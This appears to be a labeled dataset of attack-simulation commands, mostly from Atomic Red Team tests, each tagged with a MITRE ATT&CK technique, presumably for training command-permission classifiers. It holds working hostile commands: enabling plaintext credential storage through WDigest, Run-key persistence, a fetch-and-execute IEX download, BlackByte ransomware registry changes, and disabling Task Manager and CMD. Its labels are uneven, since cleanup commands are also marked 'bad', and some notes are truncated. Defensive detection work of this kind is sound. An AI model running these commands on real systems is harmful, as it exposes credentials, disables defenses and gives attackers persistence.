cowWhySo/permission-command-corpus huggingface dataset:
Command: ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: linux
ATT&CK tags: T1087.002
Source rule: Account Enumeration with LDAPDomainDump
Notes: This test uses LDAPDomainDump to perform account enumeration on a domain.
[Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command: rm -rf /tmp/T1087/ 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: linux
ATT&CK tags: T1087.002
Source rule: Account Enumeration with LDAPDomainDump
Notes: This test uses LDAPDomainDump to perform account enumeration on a domain.
[Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command: aws iam create-access-key --user-name #{username} > "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds" cd "$PathToAtomicsFolder/T1098.001/bin/" ./aws_secret.sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098.001
Platform: iaas:aws
ATT&CK tags: T1098.001
Source rule: AWS - Create Access Key and Secret Key
Notes: Adversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised
Command: access_key=`cat "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds" | jq -r '.AccessKey.AccessKeyId'` aws iam delete-access-key --access-key-id $access_key --user-name #{username} rm "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098.001
Platform: iaas:aws
ATT&CK tags: T1098.001
Source rule: AWS - Create Access Key and Secret Key
Notes: Adversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised
Command: Start-Process #{powershell_command}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.003
Platform: windows
ATT&CK tags: T1564.003
Source rule: Hidden Window
Notes: Launch PowerShell with the "-WindowStyle Hidden" argument to conceal PowerShell windows by setting the WindowStyle parameter to hidden.
Upon execution a hidden PowerShell window will launch calc.exe
Command: start "" #{browser} --headless --disable-gpu https://mockbin.org/bin/#{bin_id}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.003
Platform: windows
ATT&CK tags: T1564.003
Source rule: Headless Browser Accessing Mockbin
Notes: The following Atomic Red Team test leverages the Chrome headless browser to access a mockbin site. Create your own Mockbin.org site and replace the BIN in the inputs.
The default Mockbin ID forwards to google.com and you may view the details here https://mockbin.org/bin/f6b9a876-a826-4ac0-83b8-639d6ad516ec/view.
Reference: https://cert.gov.ua/article/5702579
Command: taskkill /im #{browser} /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.003
Platform: windows
ATT&CK tags: T1564.003
Source rule: Headless Browser Accessing Mockbin
Notes: The following Atomic Red Team test leverages the Chrome headless browser to access a mockbin site. Create your own Mockbin.org site and replace the BIN in the inputs.
The default Mockbin ID forwards to google.com and you may view the details here https://mockbin.org/bin/f6b9a876-a826-4ac0-83b8-639d6ad516ec/view.
Reference: https://cert.gov.ua/article/5702579
Command: conhost.exe --headless calc.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.003
Platform: windows
ATT&CK tags: T1564.003
Source rule: Hidden Window-Conhost Execution
Notes: Launch conhost.exe in "headless" mode, it means that no visible window will pop up on the victim's machine. 
This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity.
conhost.exe can be used as proxy the execution of arbitrary commands
Command: Stop-Process -Name calc*
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.003
Platform: windows
ATT&CK tags: T1564.003
Source rule: Hidden Window-Conhost Execution
Notes: Launch conhost.exe in "headless" mode, it means that no visible window will pop up on the victim's machine. 
This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity.
conhost.exe can be used as proxy the execution of arbitrary commands
Command: dir | clip echo "T1115" > %temp%\T1115.txt clip < %temp%\T1115.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1115
Platform: windows
ATT&CK tags: T1115
Source rule: Utilize Clipboard to store or execute commands from
Notes: Add data to clipboard to copy off or execute commands from.
Command: del %temp%\T1115.txt >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1115
Platform: windows
ATT&CK tags: T1115
Source rule: Utilize Clipboard to store or execute commands from
Notes: Add data to clipboard to copy off or execute commands from.
Command: echo Get-Process | clip Get-Clipboard | iex
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1115
Platform: windows
ATT&CK tags: T1115
Source rule: Execute Commands from Clipboard using PowerShell
Notes: Utilize PowerShell to echo a command to clipboard and execute it
Command: echo ifconfig | pbcopy $(pbpaste)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1115
Platform: macos
ATT&CK tags: T1115
Source rule: Execute commands from clipboard
Notes: Echo a command to clipboard and execute it
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Set-Clipboard -value "Atomic T1115 Test, grab data from clipboard via VBA" IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1115\src\T1115-macrocode.txt" -officeProduct "Word" -sub "GetClipboard"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1115
Platform: windows
ATT&CK tags: T1115
Source rule: Collect Clipboard Data via VBA
Notes: This module copies the data stored in the user's clipboard and writes it to a file, $env:TEMP\atomic_T1115_clipboard_data.txt
Command: Remove-Item "$env:TEMP\atomic_T1115_clipboard_data.txt" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1115
Platform: windows
ATT&CK tags: T1115
Source rule: Collect Clipboard Data via VBA
Notes: This module copies the data stored in the user's clipboard and writes it to a file, $env:TEMP\atomic_T1115_clipboard_data.txt
Command: apt install xclip -y history | tail -n 30 | xclip -sel clip xclip -o > history.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1115
Platform: linux
ATT&CK tags: T1115
Source rule: Add or copy content to clipboard with xClip
Notes: Utilize Linux Xclip to copy history and place in clipboard then output to a history.txt file. Successful execution will capture history and output to a file on disk.
Command: reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /t REG_DWORD /v HideFileExt /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify Registry of Current User Profile - cmd
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message "The operation completed successfully."
will be displayed. Additionally, open Registry Editor to view the new entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced.
Command: reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify Registry of Current User Profile - cmd
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message "The operation completed successfully."
will be displayed. Additionally, open Registry Editor to view the new entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced.
Command: reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify Registry of Local Machine - cmd
Notes: Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup.  This should only be possible when
CMD is ran as Administrative rights. Upon execution, the message "The operation completed successfully."
will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\Software\Microsoft\Windows\CurrentVersion\Run.
Command: reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify Registry of Local Machine - cmd
Notes: Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup.  This should only be possible when
CMD is ran as Administrative rights. Upon execution, the message "The operation completed successfully."
will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\Software\Microsoft\Windows\CurrentVersion\Run.
Command: reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify registry to store logon credentials
Notes: Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).
Upon execution, the message "The operation completed successfully." will be displayed.
Additionally, open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.
Command: reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify registry to store logon credentials
Notes: Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).
Upon execution, the message "The operation completed successfully." will be displayed.
Additionally, open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.
Command: Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '1' -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Use Powershell to Modify registry to store logon credentials
Notes: Sets registry key using Powershell that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).
Open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.
Command: Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '0' -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Use Powershell to Modify registry to store logon credentials
Notes: Sets registry key using Powershell that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).
Open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.
Command: $key= "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\" $name ="bad-subdomain" new-item $key -Name $name -Force new-itemproperty $key$name -Name https -Value 2 -Type DWORD; new-itemproperty $key$name -Name http -Value 2 -Type DWORD; new-itemproperty $key$name -Name * -Value 2 -Type DWORD;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Add domain to Trusted sites Zone
Notes: Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365.
Upon execution, details of the new registry entries will be displayed.
Additionally, open Registry Editor to view the modified entry in HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\.

https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf
Command: $key = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\" Remove-item $key -Recurse -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Add domain to Trusted sites Zone
Notes: Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365.
Upon execution, details of the new registry entries will be displayed.
Additionally, open Registry Editor to view the modified entry in HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\.

https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf
Command: New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -Name T1112 -Value "<script>"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Javascript in registry
Notes: Upon execution, a javascript block will be placed in the registry for persistence.
Additionally, open Registry Editor to view the modified entry in HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings.
Command: Remove-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -Name T1112 -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Javascript in registry
Notes: Upon execution, a javascript block will be placed in the registry for persistence.
Additionally, open Registry Editor to view the modified entry in HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings.
Command: Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Change Powershell Execution Policy to Bypass
Notes: Attackers need to change the powershell execution policy in order to run their malicious powershell scripts.
They can either specify it during the execution of the powershell script or change the registry value for it.
Command: try { Set-ExecutionPolicy -ExecutionPolicy #{default_execution_policy} -Scope LocalMachine -Force } catch {}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Change Powershell Execution Policy to Bypass
Notes: Attackers need to change the powershell execution policy in order to run their malicious powershell scripts.
They can either specify it during the execution of the powershell script or change the registry value for it.
Command: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: BlackByte Ransomware Registry Changes - CMD
Notes: This task recreates the steps taken by BlackByte ransomware before it worms to other machines.  See "Preparing to Worm" section: https://redcanary.com/blog/blackbyte-ransomware/
The steps are as follows:
<ol>
    <li>1. Elevate Local Privilege by disabling UAC Remote Restrictions</li>
    <li>2. Enable OS to share network connections between different privilege levels</li>
    <li>3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file names and paths</l
Command: reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v LocalAccountTokenFilterPolicy /f >nul 2>&1 reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLinkedConnections /f >nul 2>&1 reg delete HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\ /v LongPathsEnabled /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: BlackByte Ransomware Registry Changes - CMD
Notes: This task recreates the steps taken by BlackByte ransomware before it worms to other machines.  See "Preparing to Worm" section: https://redcanary.com/blog/blackbyte-ransomware/
The steps are as follows:
<ol>
    <li>1. Elevate Local Privilege by disabling UAC Remote Restrictions</li>
    <li>2. Enable OS to share network connections between different privilege levels</li>
    <li>3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file names and paths</l
Command: New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name LocalAccountTokenFilterPolicy -PropertyType DWord -Value 1 -Force New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name EnableLinkedConnections -PropertyType DWord -Value 1 -Force New-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem" -Name LongPathsEnabled -PropertyType DWord -Value 1 -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: BlackByte Ransomware Registry Changes - Powershell
Notes: This task recreates the steps taken by BlackByte ransomware before it worms to other machines via Powershell.  See "Preparing to Worm" section: https://redcanary.com/blog/blackbyte-ransomware/
The steps are as follows:
<ol>
    <li>1. Elevate Local Privilege by disabling UAC Remote Restrictions</li>
    <li>2. Enable OS to share network connections between different privilege levels</li>
    <li>3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file nam
Command: Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name LocalAccountTokenFilterPolicy -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name EnableLinkedConnections -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem" -Name LongPathsEnabled -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: BlackByte Ransomware Registry Changes - Powershell
Notes: This task recreates the steps taken by BlackByte ransomware before it worms to other machines via Powershell.  See "Preparing to Worm" section: https://redcanary.com/blog/blackbyte-ransomware/
The steps are as follows:
<ol>
    <li>1. Elevate Local Privilege by disabling UAC Remote Restrictions</li>
    <li>2. Enable OS to share network connections between different privilege levels</li>
    <li>3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file nam
Command: reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableRegistryTools /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows Registry Tool
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows registry tool to prevent user modifying registry entry.
See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
Command: powershell Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\policies\system" -Name DisableRegistryTools -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows Registry Tool
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows registry tool to prevent user modifying registry entry.
See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
Command: New-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\System" -Name DisableCMD -Value 1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows CMD application
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows CMD application.
See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
Command: Remove-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\System" -Name DisableCMD -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows CMD application
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows CMD application.
See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
Command: reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows Task Manager application
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows task manager application.
See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
Command: reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskmgr /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows Task Manager application
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows task manager application.
See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry